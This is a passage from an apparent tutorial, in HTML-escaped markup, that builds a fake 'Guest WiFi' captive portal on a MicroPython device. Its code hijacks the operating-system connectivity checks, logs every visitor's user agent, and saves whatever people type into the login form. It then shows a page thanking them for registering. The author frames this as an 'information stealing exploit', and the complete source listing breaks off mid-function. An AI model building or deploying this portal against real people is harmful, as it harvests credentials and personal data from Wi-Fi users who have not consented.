&lt;p&gt;With all aspects implemented, the final part is to add the information stealing exploit. The device shall create logfiles containing the request user agent, and another file that stores the filled in form data.&lt;/p&gt;

&lt;p&gt;First, the method to create a logfile is implemented. In the current MicroPython version, it is not possible to open a file and append text to it. Therefore, a new logfile will be created, with its timestamp as the filename. The following method prints its message and all key-value pairs of the provided &lt;code&gt;dict&lt;/code&gt; object. Also note the explicit &lt;code&gt;sleep&lt;/code&gt; commands - I had some cases where files would not be created properly, waiting between opening and closing helped.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;localtime&lt;/span&gt;&lt;span class="p"&gt;())])&lt;/span&gt;
    &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;LOG_PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user-agent will be grabbed whenever one of the hotspot routes is accessed. Add a function call off &lt;code&gt;log_to_file&lt;/code&gt; as shown in the following.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ...
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hotspot&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;DOMAIN&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;302&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;#...
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot_connecttest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;connect_test&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The login form requires all fields to be filled out, and then makes a &lt;code&gt;POST&lt;/code&gt; request. Inside the corresponding handler function, the form data will be logged, and then a simple HTML page rendered.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Login Data &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The HTML code for the success page is as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"UTF-8"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"viewport"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"width=device-width, initial-scale=1.0"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;{{ title }}&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"style.css"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;{{ title }}&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Thank you for registering. You are connected to the WiFi.&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bring the hotspot online, and after some time, the logfiles will pile up.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvmsvzf8vyn7lpym637e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvmsvzf8vyn7lpym637e.png" width="672" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The files are stored on the device itself. For remote access, a secret route, password protected, could be implemented, but I will leave this as an exercise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Complete Source Code
&lt;/h2&gt;

&lt;p&gt;Here is the complete handler source code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;access_point&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;dns&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;localtime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt;

&lt;span class="n"&gt;SSID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Guest WiFi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;www/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;LOG_PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;log/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;DOMAIN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hot.spot.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/hotspot-detect.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/generate_204&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/redirect&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/check_network_status.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hotspot&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;DOMAIN&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;302&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/ncsi.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/connecttest.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot_connecttest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;connect_test&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;start_portal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;index.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Guest WiFi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
